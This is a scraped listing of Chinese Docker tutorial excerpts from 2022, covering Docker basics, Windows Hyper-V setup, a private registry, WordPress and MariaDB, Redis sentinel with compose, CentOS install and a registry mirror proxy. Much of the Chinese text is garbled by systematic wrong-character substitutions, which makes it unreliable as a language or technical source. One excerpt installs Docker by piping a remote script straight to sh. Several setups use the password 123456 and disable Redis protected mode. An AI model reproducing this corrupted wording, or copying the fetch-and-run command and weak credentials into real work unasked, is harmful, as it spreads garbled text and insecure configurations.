全栈技术分享,API文档动静更新,技术点扼要易懂,疾速入门有帮忙的话点个赞吧,感兴趣的关注加书签取得更多文档,不便随时查阅,有问题欢送留言探讨虚拟化一种资源管理技术,硬件资源不可分割,利用虚拟化技术能最大化利用硬件资源,也就是一硬件多软件部署docker概念与实质应用Go语言开发,基于Linux内核的虚拟机容器化应用软件对过程进行封装隔离,属于操作系统层面的虚拟化技术客户端-服务器(C/S)架构程序:docker,dockerd - docker deamon与虚拟机区别:在操作系统层面上实现虚拟化,间接复用本地主机的操作系统,虚拟机则是在硬件层面实现docker比照传统虚拟化长处1.更高效的利用系统资源2.更疾速的启动工夫 间接运行于宿主内核,无需启动残缺的操作系统3.统一的运行环境4.继续交付和部署5.更轻松的迁徙6.更轻松的保护和扩大组件组件阐明docker serverdocker daemondocker clientdocker命令,如docker run ...image镜像,即 unix零碎镜像(便于了解) + app运行所需环境(通过Dockerfile安排) + app源码container容器,即 unix零碎实例 + app实例Registry仓库,寄存镜像的仓库,相似maven的nexus私服线上仓库: docker hub私服仓库: registry工作流程graph TBA[app代码 + Dockerfile]-->A1[docker build Dockerfile]A1-->B[image]B-->B1[docker run image]B1-->C[container]classDef C1 fill:blue,fill-opacity:0.3class A,B,C C1class A1,B1 C2装置Linux 环境(这里选Ubuntu)官网教程 碰到问题参考上面的问题和解决Windows11 环境官网教程 下载 docker desktop docker + wsl2 官网教程 docker desktop初始化配置general:勾选wsl,个别是默认勾选的resources:wsl integration: enable integration with my default wsl distro enbale ubuntu-22.04(这两个抉择很重要)docker engine:退出镜像配置:, "registry-mirrors": [ "https://registry.docker-cn.com", "https://xxx.mirror.aliyuncs.com", "http://hub-mirror.c.163.com", "https://docker.mirrors.ustc.edu.cn", "https://reg-mirror.qiniu.com" ]ps:阿里云镜像得配置本人的地址可能碰到的问题和解决办法:1. 没有Hyper-v,管理员身份执行脚本:pushd "%~dp0" dir /b %SystemRoot%\servicing\Packages\*Hyper-V*.mum >hyper-v.txt for /f %%i in ('findstr /i . hyper-v.txt 2^>nul') do dism /online /norestart /add-package:"%SystemRoot%\servicing\Packages\%%i" del hyper-v.txtDism /online /enable-feature /featurename:Microsoft-Hyper-V-All /LimitAccess /ALL2. wsl 环境问题:win11 + wsl2 + Ubuntu22 : wslg较稳固,已反对开启systemd,不开启systemd前提下反对装置ubuntu-desktop gnome: vim /etc/wsl.conf [boot] systemd=truewin10 + wsl2 + Ubuntu20:反对脚本开启systemd,不开启systemd前提下反对装置ubuntu-desktop gnome然而gnome >=3.34版本齐全基于systemd,存在兼容问题,须要装置低版本的gnome 开启systemd脚本:https://github.com/nullpo-head/wsl-distrod 或者: systemd环境: git clone https://github.com/DamionGans/ubuntu-wsl2-system-script.git cd ubuntu-wsl2-system-script/ bash ubuntu-wsl2-system-script.shwin10 + distrod: 自带systemd的ubuntu-22.04 wsl零碎,不反对装置ubuntu-desktop gnomedistrod下载地址 ...

October 16, 2022 · 4 min · jiezi

关于docker:Docker搭建私有镜像仓库与WordPress

继续创作,减速成长!这是我参加「掘金日新打算 · 10 月更文挑战」的第16天,点击查看流动详情 最近在看CI/CD与k8s,作为后期筹备,先相熟一下Docker的基本操作,这里咱们先用Docker部署几个服务 Docker搭建公有镜像仓库Docker Registry在Docker Hub上搜寻registry,目标是为了确定咱们要拉取的镜像版本 https://registry.hub.docker.c... 最终确定最新的稳固版本2.8.1 拉取镜像 docker pull registry:2.8.1运行registry实例 docker run -d -p 5000:5000 registry:2.8.1阐明: -d 后盾运行-p 端口映射,容器端口:主机端口查看运行状态 docker ps打标签上传 # 先下载一个nginx镜像docker pull nginxLalpine# 查看镜像docker imagesdocker tag nginx:alpine 127.0.0.1:5000/nginx:alpinedocker push 127.0.0.1:5000/nginx:alpine阐明: 因为上传的指标不是默认的Docker Hub,而是本地公有仓库,所以镜像的名字前必须加仓库地址验证是否推送胜利 docker rmi 127.0.0.1:5000/nginx:alpinedocker pull 127.0.0.1:5000/nginx:alpine查看Registry仓库镜像,Registry只提供了RESTful API curl 127.0.0.1:5000/v2/_catalogcurl 127.0.0.1:5000/v2/nginx/tags/listDocker搭建WordPress网站网络架构图 拉取相干镜像 docker pull wordpress:5docker pull mariadb:10docker pull nginx:alpine运行MariaDB实例 docker run -d --rm \ --name wp-mariadb --env MARIADB_DATABASE=db \ --env MARIADB_USER=wp \ --env MARIADB_PASSWORD=123 \ --env MARIADB_ROOT_PASSWORD=123 \ mariadb:10阐明: ...

October 15, 2022 · 1 min · jiezi

关于docker:你的镜像安全吗

问脉,是由长亭团队倾力打造的一款 旁路云原生平安平台,首推零侵入探针,基于全方位威逼辨认升高危险裸露面,无效爱护云原生负载平安。 旁路检测作为问脉独创的云原生平安检测框架,突破了传统的容器平安产品必须在业务节点上装置探针的限度,采纳 Agentless 计划进行部署,保障业务节点实现严格意义上的零侵入检测,让用户可能轻装上阵,轻松解决云原生平安问题。 目前问脉商业版反对以旁路模式扫描 镜像/集群/IAC/代码仓库/OSS 等多种对象,无需独自配置宿主探针或平行容器探针即可笼罩90%以上前置危险。 同时基于工作式驱动,灵便定义扫描 周期/范畴/插件,最大水平适配各类云原生业务场景。 你能保障本人应用过的镜像是可信的、未被篡改过的吗? 公网的镜像仓库并不平安钻研显示,目前 Docker Hub 上的镜像 76% 都存在破绽。平安公司 Palo Alto Networks 威逼情报小  Unit42 发  Docker Hub 上的镜像存在一种新型的 Graboid 挖矿绑架病毒,目前已知这个蠕虫曾经感化了超过 2000 台不平安的 Docker 主机,用于开掘 Monero 加密货币。 公有搭建的镜像仓库存在危险Harbor 仓库1.7.0-1.8.2 版本存在垂直越权破绽,因注册模块对参数校验不严格,可导致任意管理员注册,攻击者能够通过注册管理员账号来接管 Harbo  镜像仓库,从而写入歹意文件,最终能够感化应用此仓库的客户端。 本地构建的镜像无奈保障根据各类业务场景和具体须要的业务性能构建的长期镜像,极大可能存在不经意间写入的敏感信息内容,如 passwords,keys,creds 等。如果不进行任何检测间接投入使用,极易被攻击者窃取信息并进行歹意鉴权,危害业务性能。 问脉作为一款 旁路云原生平安平台,采纳独创的旁路检测计划,无需在业务服务器上部署探针,即可实现仓库镜像平安检测,收费集成 Harbor v1、Harbor v2、dockerhub 镜像仓库,适配包含 Docker registry 在内的多种支流仓库,基于工作式驱动灵便配置,护航镜像仓库抵挡平安威逼。 Agentless Scanning无需装置部署扫描探针,严格意义上的无侵入模式,近程检测仓库中镜像平安危险。 如何做到无侵入扫描?问脉提供云部署探针近程扫描模式,不须要提供服务器资源,不须要将探针装置到仓库所在服务器,你只须要在平台点击创立即可领有一个收费部署在云端的探针,实现仓库信息字段填写即可开始仓库中的镜像检测。 应用速览(以云部署探针扫描 Dockerhub 仓库为例)第一步:创立云部署探针,显示云部署探针在线即代表创立胜利 第二步:集成仓库资源,抉择 Dockerhub 仓库类型,填写你的 dockerhub 官网用户账号信息,并抉择云部署探针,状态显示已连贯即代表仓库连贯胜利 第三步:下发检测工作,抉择对集成的仓库进行仓库镜像平安扫描,并可根据业务场景抉择各类扫描插件,打算实现后可返回对应的事件列表查看检测后果。 是否能够应用本地探针进行检测?能够,在创立探针时,咱们提供云部署探针、本地部署用于扫描本地镜像的探针、本地部署用于扫描仓库镜像的旁路探针,在集成仓库时能够任意抉择适配的探针对象进行应用。本地部署的长处是扫描无工夫数量限度,能够依据不同的业务场景创立不同的扫描打算,灵便高效。 是否能够扫描公有仓库中的镜像?能够,只有应用用于扫描仓库镜像的旁路探针,可能拜访到对应的公有仓库就能进行检测。 最初问脉与其余仓库镜像检测计划相比,有着如下几大劣势: 海量性能收费应用24小时专人答疑独创旁路模式轻量级应用,无需担心侵入性/稳定性/保密性等问题检测镜像中破绽/歹意文件/敏感信息等多种威逼危险,更具体更精确可视化平台,事件与资产一一对应,检测流程操作简略,极其敌对欢送徒弟们与咱们分享应用感触及性能需要,咱们致力用最短的工夫为大家带来最须要的产品性能。

October 14, 2022 · 1 min · jiezi

关于docker:docker一些命令

1:docker-compose 指定compose文件 指定启动局部容器docker-compose 默认读取 docker-compose.yml 文件,应用-f参数指定 配置文件 例如这里 https://github.com/Mikaelemmm... 独自启动mysql容器能够应用 sudo docker-compose -f docker-compose-env.yml start mysql 通过 docker-compose ps 查看,mysql 容器曾经起来了 参考 docker compose CLI

October 11, 2022 · 1 min · jiezi

关于docker:docker-compose搭建redis704高可用一主二从三哨兵集群并整合SpringBoot

一、前言redis在咱们企业级开发中是很常见的,然而单个redis不能保障咱们的稳固应用,所以咱们要建设一个集群。redis有两种高可用的计划: High availability with Redis SentinelScaling with Redis Cluster第一个就是咱们本次的要搭建的,就是高可用的哨兵,主redis挂掉,哨兵会进行投票进行故障转移!第二个就是分片集群,哨兵的一个毛病就是只能存在一个master节点,写的效率太低。分片集群就是解决哨兵的问题,能够程度扩大,进步redis的性能! 哨兵最低配是三哨兵,以奇数递增。分片集群最低配是三主三从。本次以一台虚拟机进行搭建,小编也是搭建了一星期,主从没啥问题,就是故障转移不行,根本原因就是docker网络的问题,redis和哨兵不在一个网段中。很多教学都是用host,然而不晓得当初不能启动胜利,所以还是要在一个网络中! 本次一体验为主,太多知识性的问题,大家能够去官网看一下。 redis官网 二、docker和docker compose装置docker和docker compose装置应用【最新版】 三、启动redis主从1. 创立一个redis-sentinel-test文件夹mkdir redis-sentinel-test2. 在外面创立两个文件夹cd redis-sentinel-test/mkdir redismkdir sentinel3. 在redis创立compose文件必须以docker-compose.yml命名,本次测试redis就不挂载目录到宿主机了,须要的能够应用volumes挂载到宿主机! vim docker-compose.yml4. 编辑compose文件这里为了测试不便,就不设置明码了!protected-mode no:敞开就能够其余中央连贯应用了slave-announce-ip:应用宿主机的ip version: "4.1"services: master: image: redis:7.0.4 container_name: redis-master command: bash -c "redis-server --protected-mode no --slave-announce-ip 192.168.84.143 --slave-announce-port 6379" ports: - 6379:6379 slave1: image: redis:7.0.4 container_name: redis-slave-1 ports: - 6380:6379 command: bash -c "redis-server --protected-mode no --slaveof redis-master 6379 --slave-announce-ip 192.168.84.143 --slave-announce-port 6380" slave2: image: redis:7.0.4 container_name: redis-slave-2 ports: - 6381:6379 command: bash -c "redis-server --protected-mode no --slaveof redis-master 6379 --slave-announce-ip 192.168.84.143 --slave-announce-port 6381"5. 启动redis主从compose更新了,启动由原来的-变成了空格 ...

September 27, 2022 · 2 min · jiezi

关于docker:Docker入门学习

1. Docker概述 1.1 根本介绍Docker 是一个开源的利用容器引擎,基于 Go 语言 并听从 Apache2.0 协定开源。 Docker 能够让开发者打包他们的利用以及依赖包到一个轻量级、可移植的容器中,而后公布到任何风行的 Linux 机器上,也能够实现虚拟化。 容器是齐全应用沙箱机制,相互之间不会有任何接口(相似 iPhone 的 app),更重要的是容器性能开销极低。 Docker 从 17.03 版本之后分为 CE(Community Edition: 社区版) 和 EE(Enterprise Edition: 企业版),咱们用社区版就能够了。官网:https://docs.docker.com/ 1.2 利用场景Web利用的自动化打包和公布自动化测试和继续集成、公布在服务型环境中部署和整体数据库或其余的后盾利用从头编译或者扩大现有的OpenShift或Cloud Foundry平台来搭建本人的Paas环境1.3 Docker的劣势Docker 是一个用于开发,交付和运行应用程序的开放平台。Docker 使您可能将应用程序与基础架构离开,从而能够疾速交付软件。借助 Docker,您能够与管理应用程序雷同的形式来治理基础架构。通过利用 Docker 的办法来疾速交付,测试和部署代码,您能够大大减少编写代码和在生产环境中运行代码之间的提早。 疾速,统一地交付您的应用程序 Docker 容许开发人员应用您提供的应用程序或服务的本地容器在标准化环境中工作,从而简化了开发的生命周期。 容器非常适合继续集成和继续交付(CI / CD)工作流程,请思考以下示例计划: 您的开发人员在本地编写代码,并应用 Docker 容器与共事共享他们的工作。他们应用 Docker 将其应用程序推送到测试环境中,并执行主动或手动测试。当开发人员发现错误时,他们能够在开发环境中对其进行修复,而后将其重新部署到测试环境中,以进行测试和验证。测试实现后,将修补程序推送给生产环境,就像将更新的镜像推送到生产环境一样简略。 响应式部署和扩大 Docker 是基于容器的平台,容许高度可移植的工作负载。Docker 容器能够在开发人员的本机上,数据中心的物理或虚拟机上,云服务上或混合环境中运行。 Docker 的可移植性和轻量级的个性,还能够使您轻松地实现动静治理的工作累赘,并依据业务需要批示,实时扩大或拆除应用程序和服务。 在同一硬件上运行更多工作负载 Docker 笨重疾速。它为基于虚拟机管理程序的虚拟机提供了可行、经济、高效的代替计划,因而您能够利用更多的计算能力来实现业务指标。Docker 非常适合于高密度环境以及中小型部署,而您能够用更少的资源做更多的事件。 2. 虚拟化技术和容器化技术虚拟化技术:资源占用多、冗余步骤多、启动很慢 容器化技术:容器化技术不是模仿的一个残缺的操作系统 比拟Docker和虚拟机的不同: 传统虚拟机,虚构出硬件,运行一个残缺的操作系统,而后在这个零碎上装置和运行软件。Docker容器内的利用间接运行在宿主机的内容,容器是没有本人的内核的,也没有虚构硬件。每个容器都是互相隔离的,每个容器都有属于本人的文件系统,互不影响。3. Docker的根本组成 镜像(image) docker镜像就好比是一个模版,能够通过这个模版来创立容器服务 容器(container) Docker利用容器技术,独立运行一个或者一组利用,通过镜像来创立(目前能够把一个容器简略的了解为一个繁难的Linux零碎) ...

September 24, 2022 · 12 min · jiezi

关于docker:docker安装mysql56

执行命令装置mysql docker run -d --privileged=true \--restart=always \--name mysql \-v /usr/local/mysql/data:/var/lib/mysql \-v /usr/local/mysql/conf:/etc/mysql \-v /usr/local/mysql/log:/var/log/mysql \-p 8306:3306 \-e TZ=Asia/Shanghai \-e MYSQL_ROOT_PASSWORD=123456 \mysql:5.6 \--character-set-server=utf8mb4 \--collation-server=utf8mb4_general_ci装置mysql5.7会报错进入mysql容器,登录mysql docker exec -it mysql bashmysql -u root -p 123456批改root明码,并容许近程登录 set password for [email protected] = password('新密码');set password for [email protected]'%' = password('新密码');GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '新密码' WITH GRANT OPTION;装置结束

September 21, 2022 · 1 min · jiezi

关于docker:Dock极简使用指南

网上“入门”“十分钟把握”之类的文章,总感觉不够精当,还是本人总结一份吧: 获取镜像一般来说,咱们罕用的根底环境,都能够从docker官网仓库获取到了,比方须要node,就间接: docker pull node还能够指定版本,比方: docker pull node:8.0或者: docker pull node:latest # 获取最新版本从镜像创立容器(运行实例)# 能够分三步:# 1. 创立容器docker create -it --name='node-for-test' node # --name须要指定一个惟一名称,最初是镜像的名字# 2. 启动容器docker start node-for-test # 容器名就是刚刚创立的名字# 3. 进入容器(用以后终端接管容器的输入输出)docker exec -it node-for-test bash # 最初一个参数指定的是shell类型# 也能够把三步整合为一步docker run -it -d --name='node-for-test' node bash进入容器后,所有的命令行指令都是在容器内执行,如果想退出来,运行’exit‘命令即可;回到宿主命令行当前,能够用上面的命令查看所有容器: docker ps -a # 加-a参数,能够看到曾经进行的容器保留实例对实例的任何批改,比方批改配置文件,装置软件之类的,都不会主动保留,只有实例退出就隐没了。要想保留实例以后状态,须要在宿主机上执行命令: docker commit node-for-test image-node-for-test:v0.5 # 相当于在本地生成了一个新镜像,保留了实例的以后状态,当前即便实例销毁了,也能够从这个镜像从新运行,最初一个参数是镜像名称,冒号前面是版本号保留当前,能够用上面命令查看一下: docker image ls应该至多有两个镜像了 REPOSITORY TAG IMAGE ID CREATED SIZEimage-node-for-test v0.5 4d8e496fd921 2 hours ago 991MBnode latest 2577ab2cda97 6 days ago 991MB建设端口映射要想从内部拜访docker里的服务,须要把端口映射到宿主机,个别启动的时候就间接映射了: ...

September 19, 2022 · 1 min · jiezi

关于docker:通过8个例子掌握-Linux-Date-命令的使用

在 Linux 零碎中放弃精确的日期是任何 Linux 用户都应该把握的基本技能之一,Linux date 命令用于显示和设置 Linux 零碎的日期和工夫。 本教程将向您展现如何应用 date 命令在 Linux 零碎上显示和设置日期。 根本语法$ date [option]… [+format] (1) date 命令,不带选项在本节局部,不带任何选项,date 命令以其根本模式显示以后的日期和工夫,包含周、月、年的日期,工夫格局为 hh:mm:ss,以及时区如下所示。 $ dateSun May 9 15:41:17 IST 2021$(2) 显示 UTC 的日期和工夫应用 -u 选项以 UTC (协调世界时),以前称为 GMT (格林尼治规范工夫) 显示工夫。 $ date -uSun May 9 10:11:59 UTC 2021$(3) 以字符串格局显示特定日期能够应用 --date 选项以字符串格局显示特定日期,如下所示。请留神,这不会影响零碎的日期和工夫,而只是将日期格局转换为字符串。 $ date --date="10/10/2021"Sun Oct 10 00:00:00 IST 2021$(4) 查看过来的日期date 命令还能够打印绝对于以后日期的过来日期和工夫。 查看9天前的日期 $ date --date="9 days ago"Fri Apr 30 15:45:28 IST 2021$查看两周前的日期 ...

September 19, 2022 · 2 min · jiezi

关于docker:使用Docker部署项目

1.我的项目简介动物试验管理系统面向生物科技相干人员提供了一系列动物试验相干性能。 2.我的项目架构 3.部署平台Win10->VMware->CentOS7->Docker 4.具体部署前端局部:dist.zip后端局部:animal.jar、animal.properties 4.1.Mysqldocker run --name=mysql -d --privileged=true -p 13307:3306 -v /share/mysqldata:/var/lib/mysql -e MYSQL_ROOT_PASSWORD="123456" mysql:5.7.39mysql的数据不是放在容器中,而是通过关联、映射而放在了Docker外CentOS中查看Mysql容器是否启动,应用Navicat测试是否建设连贯如果连贯胜利,建设数据库animal_experiment,建设表,向表中插入数据如果连贯失败,依据提醒进行排错(没有应用容器的内部IP、端口号;明码谬误;防火墙) 4.2.Redisdocker run --privileged=true -p 16379:6379 --name=redis -v /share/redis/data:/data -d redis redis-server --requirepass 123456Redis的数据不是放在容器中,而是通过关联、映射而放在了Docker外CentOS中查看Redis容器是否启动,在docker外CentOS中应用redis-cli测试是否建设连贯,测试是否可能应用配置的明码进行认证 4.3.RabbitMQdocker run -d -p 5672:5672 -p 15672:15672 --name=mq1 rabbitmq:rabbitmq:3.9.22docker exec mq1 rabbitmq-plugins enable rabbitmq_managementdocker exec mq1 rabbitmqctl add_user admin 123456docker exec mq1 rabbitmqctl set_user_tags admin administratordocker exec mq1 rabbitmqctl set_permissions -p / admin ".*" ".*" ".*"查看Mysql容器是否启动,测试是否应用Chrome拜访RabbitMQ的内部IP、端口,在登陆界面应用账号guest、明码guest登录,查看adminstartor中是否存在admin及明码、主机 4.4.Miniodocker run -itd -p 19000:9000 -p 19090:19090 \ --name minio1 \ -e "MINIO_ACCESS_KEY=minioadmin" \ -e "MINIO_SECRET_KEY=minioadmin" \ -v /share/data:/data \ -v /share/config:/root/.minio \ minio/minio server /data \ --console-address ":19090"查看Mysql容器是否启动,Minio的数据不是放在容器中,而是通过关联、映射而放在了Docker外CentOS中测试是否在浏览器中应用内部IP、端口号拜访Minio,在登陆页面是否应用账号minioadmin、明码minioadmin ...

September 18, 2022 · 1 min · jiezi

关于docker:通过20个案例轻松掌握-docker-常用命令

Docker 容器是当初几天最新兴的技术之一。Docker 容器通常用于 CI / CD (Continuous Integration / Continuous Deployment 继续集成 / 继续部署) 平台中。容器是笨重的 VM (Virtual Machines 虚拟机),可利用根底管理程序资源 (例如 RAM,CPU,HDD 和内核) 。 Docker 命令用于通过命令行治理容器和镜像。在本文中,咱们将介绍 Linux 中 20 个有用的 docker 命令示例。我假如您的 Linux 零碎上曾经装置了 docker,并且以后用户曾经增加到 docker 用户组中。 (1) 查看版本在应用 docker 容器时,第一项重要的工作是晓得你的 docker 版本 $ docker --versionDocker version 20.10.12, build e91ed57$(2) 查看零碎范畴内信息docker info 命令用于查看 docker 的根目录、操作系统版本、内核版本、docker 版本、RAM、CPU、docker 注册表等信息。 $ docker info (3) 搜寻镜像应用 docker search 命令,咱们能够从 docker hub 仓库中搜寻镜像。假如咱们想搜寻最新的 nginx 镜像 ...

September 17, 2022 · 3 min · jiezi

关于docker:Docker安装禅道

搜寻镜像docker search zentao下载镜像docker pull easysoft/zentao创立容器docker run -d --name zentao -p 10250:80 -p 10251:3306 -v /data/zentao/zentaopms:/www/zentaopms -v /data/zentao/mysql:/var/lib/mysql easysoft/zentao:latest

September 17, 2022 · 1 min · jiezi

关于docker:Docker设置容器开机自启

部署我的项目服务器时,为了应答停电等状况影响失常web我的项目的拜访,会把Docker容器设置为开机主动启动。 在应用docker run启动容器时,应用--restart参数来设置: `docker run -m 512m --memory-swap 1G -it -p 58080:8080 --restart=always elk` # --restart具体参数值详细信息:no - 容器退出时,不重启容器;on-failure - 只有在非0状态退出时才从新启动容器;always - 无论退出状态是如何,都重启容器;还能够在应用on - failure策略时,指定Docker将尝试重新启动容器的最大次数。默认状况下,Docker将尝试永远重新启动容器。 docker run --restart=on-failure:10 redis 如果创立时未指定 --restart=always ,可通过update 命令docker update --restart=always xxx

September 17, 2022 · 1 min · jiezi

关于docker:打包docker镜像并推送到dockerhub

登录dockerhub-https://hub.docker.com/,创立仓库 查看你须要打包的docker容器docker ps -a 打包容器为指定镜像 docker commit -a "liboshuai01" -m "精简版gitlab" f9021ec28020 liboshuai01/gitlab:1.0启动最初的镜像名肯定要和仓库名雷同,如我的仓库名为iboshuai01/gitlab:,这里我的镜像名也为iboshuai01/gitlab:查看打包好的镜像docker images 上传打包好的镜像到本人的docker仓库 docker push liboshuai01/gitlab:1.0 登录dockerhub页面,进入仓库查看推送胜利的镜像

September 15, 2022 · 1 min · jiezi

关于docker:DKdocker-yum安装

重要表述 哈哈哈,我是DK。 在通过我:" 2 * 8 = 42 ? "天的"处心积虑、苦心经营、左思右想、苦心孤诣、搜肠刮肚",终于总结出了这"举世无双"的文章。最初我得出了一个强有力的僻邪剑谱:"你讲我好话时能不能别添枝加叶,认为炒菜啊。" 该吹的牛也吹完了咱们开始明天的正题,docker yum装置吧。 测试环境# 零碎: CentOS 7 # 版本:3.10.0-1160.el7.x86_64执行流程# setp 1: 更新源sudo yum update# setp 2: 如果之前曾经装置过则须要删除,若没有则跳过。# - 查看是否装置过dockersudo rpm -qa | grep docker# - 装置过docker则删除,也能够看下一篇文件有具体解说说sudo yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-engine# setp 2: 装置工具包sudo yum install -y yum-utils # setp 4: 增加docker的yum源sudo yum-config-manager \ --add-repo \ https://download.docker.com/linux/centos/docker-ce.repo# step 5: 装置dockersudo yum install docker-ce docker-ce-cli containerd.io# setp 6: 启动服务sudo systemctl restart docker# setp 7: 验证是否胜利,后果如下则阐明装置胜利# - 查看docker版本docker -v #[root@localhost ~]# docker -v#Docker version 20.10.18, build b40c2f6# - 下拉镜像docker pull redis# - 查看镜像docker images#[root@localhost ~]# docker images#REPOSITORY TAG IMAGE ID CREATED SIZE#redis latest dc7b40a0b05d 2 weeks ago 117MB# - 运行镜像docker run --name redis -d redis# - 进入容器并进行测试docker exec -it redis bash#[root@localhost ~]# docker exec -it redis bash#root@4d0f49919bf7:/data# redis-cli#127.0.0.1:6379> ping#PONG报错解决# (1) yum update# 注:报错内容 “...... Could not resolve host: mirrors.centos.org; Unknown error ......”# 是因为域名解析失败,批改网络配置,二选一。vi /etc/sysconfig/network-scripts/ifcf-ens33# 动静配置,批改内容如下:BOOTPROTO=dhcpONBOOT=yes# 动态配置,批改内容如下:BOOTPROTO=staticONBOOT=yes

September 15, 2022 · 1 min · jiezi

关于docker:如何搭建代理镜像仓库

背景:不晓得各位有没有我这种难堪:kubernetes搭建过程中须要拉取到一些镜像,比方: dockerhub的镜像,这个还好。毕竟有加速器。but k8s.gcr.io,quay.io.这些怎么搞?刚巧搭建kubeadm 1.25,helm装置cilium的时候悲摧了。下载不动怎么搞?docker时代的时候我还能够间接导入,然而containerd时代了 导入了还是要麻烦一些阿?搜索引擎搜了一下,找到上面三个文章,借鉴一下!参照:搭建Docker镜像仓库代理搭建容器仓库的镜像服务器(gcr, ghcr, quay, k8s-gcr)真◉彻底解决 gcr、quay、DockerHub 镜像下载难题! 搭建镜像代理仓库其中米开朗基杨大佬写的真◉彻底解决 gcr、quay、DockerHub 镜像下载难题!搭建一个k3s集群搞比拟全国,然而我国外服务器就一台,还是轻量级的服务器....开始就是下载镜像而后上传到国内harbor仓库的......这里就用搭建Docker镜像仓库代理的形式去操作了! 前提条件服务器在国外四个域名 以及ssl证书 装置Docker留神:我这台服务器为轻量服务器,ubuntu操作系统(docker我之前其实早装置了......) apt-get updateapt-get upgradeapt-get install docker*如果是centos 请参照: yum update yum install -y yum-utils device-mapper-persistent-data lvm2 yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repoyum install -y docker-ce配置Docker设置 Docker 的日志格局为 json,日志文件大小为 100M,最多保留 3 个日志;设置 Docker 镜像公有仓库和官网镜像减速地址;设置 Docker 的数据目录到 /data/docker;设置 Docker 的 Storage Driver 为 overlay2。 [root@dqzboy ~]# mkdir /etc/docker[root@dqzboy ~]# cat << EOF > /etc/docker/daemon.json{ "log-driver": "json-file", "log-opts": { "max-size": "100m", "max-file": "3" }, "insecure-registry": [ "hub.dqzboy.com" ], "registry-mirror": "https://a7ye1cuu.mirror.aliyuncs.com", "data-root": "/data/docker", "exec-opts": ["native.cgroupdriver=systemd"], "storage-driver": "overlay2", "storage-opts": [ "overlay2.override_kernel_check=true" ]}EOF启动 Dockersystemctl enable docker && systemctl start docker装置 Docker Compose看版本吧,我没有装置什么最新的 ,毕竟能跑起来就能够对我来说 ...

September 15, 2022 · 3 min · jiezi

关于docker:Centos7安装dokcer

应用国内 daocloud 一键装置命令: curl -sSL https://get.daocloud.io/docker | sh可能会呈现一次装置不胜利的状况,多试几次。 执行以下命令,启动docker服务器和设置docker自启动 systemctl start dockersystemctl enable docker测试docker是否装置胜利,执行命令docker pull hello-world,如果看到有镜像被拉取,这阐明docker装置胜利

September 5, 2022 · 1 min · jiezi

关于docker:docker访问外部https数字证书问题

个别咱们构建的 docker 镜像应用的都是 alpine linux 零碎,默认是不带 ca-certificates 根证书的,导致无奈辨认内部 https 携带的数字证书。在拜访的时候,会抛出509:certificate signed by unknown authority谬误,导致 docker 容器的接口服务返回报错。 为了解决证书验证的问题,咱们须要在构建 docker 镜像的时候将 ca-certificates 根证书装上。在 Dockerfile 中退出如下内容: RUN apk --no-cache add ca-certificates \ && update-ca-certificates对于曾经构建好的镜像,如果咱们想手动装置的话,能够应用如下办法。 # 进入容器docker exec -it '容器ID或容器名称' bash# 装置根证书apk --no-cache add ca-certificates && update-ca-certificates# 若呈现相似如下的正告,疏忽WARNING: ca-certificates.crt does not contain exactly one certificate or CRL: skipping# 重启容器docker restart '容器ID或容器名称'更多技术文章,请关注我的集体博客 www.immaxfang.com 和小公众号 Max的学习札记。

September 5, 2022 · 1 min · jiezi

关于docker:手动挂载Docker目录创建完成后

进行docker服务(要害,批改之前必须进行docker服务) systemctl stop docker.service 批改对应容器的配置文件,在相应的地位增加目录挂载,保留退出。 vim /var/lib/docker/containers/container-ID/config.v2.json 启动docker服务 systemctl start docker.service启动docker容器 docker start <container-name/ID>

September 5, 2022 · 1 min · jiezi

关于docker:docker-和-dockerFile-介绍

最近用到了dockerFIle来构建镜像。 在这之前,其实并不太分明docker的作用,并不分明容器和镜像的比拟清晰的概念。于是在这里记录一下。 docker介绍首先咱们须要先理解虚拟化技术。 比方虚拟机,可能大部分人都用过虚拟机,虚拟机(VM)是一种创立于物理硬件零碎、充当虚构计算机系统的虚拟环境,它模拟出了本人的整套硬件,包含 CPU、内存、网络接口和存储器。 在虚拟机里,你能够和失常电脑一样运行程序,例如下载软件等。 虚拟机属于虚拟化技术。 而docker提供的 容器 技术,就属于轻量级的虚拟化。 它们实质的区别在于:虚拟机是操作系统级别的资源隔离,而容器是过程级别的资源隔离。 相比拟虚拟机,容器化的劣势不言而喻: 硬件成本低;部署环境更快;保护环境更便捷;容器只须要虚构一个小规模的环境。而dokcer就是创立容器工具。 所以,近年来,因为docker的开源以及泛滥长处,使得它越来越受人追捧。 docker的三大概念Docker技术的三大外围概念,别离是: 镜像(Image)容器(Container)仓库(Repository)咱们先来看看docker的口号: build,ship and Run Any APP, Anywhere 不过明天看的时候,官网的页面改成了: build, share Run Any APP, Anywhere 也就是, 搭建、分享、运行。 怎么了解呢 ? 举一个例子: 比方咱们要建一个房子,就须要画图纸,搬木材,搭建。盖好之后,住了进去。 过去我忽然想搬到另一个中央入住,并建一栋和以前的一样的房子,按以前的做法,咱们须要持续画图纸,搬木材,搭建。 然而这时候,docker进去了,并通知我说,我能够把你以前的房子变成 “镜像”, 而后复制一份截然不同的房子给你。 最初,docker以我以前的房子作为镜像,复制了一个同样的房子给我。让我间接拎包入住。 这里的 镜像 指的就是 docker 中的 镜像(Image), 我用 镜像 搭建进去的房子,指的就是 容器(Container) 理论中,这个Docker镜像,除了提供容器运行时所需的程序、库、资源、配置等文件外,还蕴含了一些为运行时筹备的一些配置参数(例如环境变量)。镜像不蕴含任何动态数据,其内容在构建之后也不会被扭转。 也就是后面提到的三大概念: 镜像(Image)容器(Container)仓库(Repository)那么 仓库(Repository)又是什么呢? 也很好了解。 不同的人会发明出不同的镜像,比方我创立了一个 北京四合院 的镜像, 张三创立了一个 蒙古包 的镜像, 李四创立出了一个 别墅 的镜像。 那我要想应用他人的镜像,应该怎么办呢? ...

September 5, 2022 · 2 min · jiezi

关于docker:接近3w详解Docker搭建Redis集群主从容错主从扩容主从缩容

